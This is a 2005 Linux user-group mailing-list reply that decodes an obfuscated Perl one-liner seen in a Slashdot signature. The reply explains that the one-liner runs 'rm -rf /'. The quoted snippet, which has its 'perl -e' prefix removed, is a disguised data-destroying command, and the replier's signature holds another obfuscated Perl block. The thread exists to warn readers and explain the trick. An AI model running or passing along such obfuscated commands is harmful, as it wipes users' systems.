perls before /. swine

[JStay at mediageneral.com]

"rm -rf /"

A good explanation resides at:

http://www.talkaboutprogramming.com/group/comp.lang.perl.misc/messages/4
80895.html

####################################
### Jesse Stay                   ###
### Lead Applications Developer  ###
### IMD Classifieds              ###
### Media General, Inc.          ###
### (804)649-6534                ###
####################################
#!/usr/bin/perl
$^=q;@!>~|{>krw>yn{u<$$<Sn||n<|}j=<$$<Yn{u<Qjltn{ > 0gFzD gD,
00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.),
01,pnn,y{
rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/
#y,d,s,(\$.),$1,gee,print 

> -----Original Message-----
> From: plug-bounces at plug.org [mailto:plug-bounces at plug.org] On 
> Behalf Of Gabriel Gunderson
> Sent: Monday, April 18, 2005 2:20 PM
> To: plug at plug.org
> Subject: perls before /. swine
> 
> I came across a sig on /. that caught my eye.  I guess it is 
> supposed to be malicious code.  I took the perl -e off the 
> front so nobody will run it.  What does it do?
> 
> '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" 
> -;;s;;$_;see'
> 
> One thing is for sure, it reinforces the idea that perl can 
> be cryptic.
> 
> Gabe
> 
> .===================================.
> | This has been a P.L.U.G. mailing. |
> |      Don't Fear the Penguin.      |
> |  IRC: #utah at irc.freenode.net   |
> `==================================='
>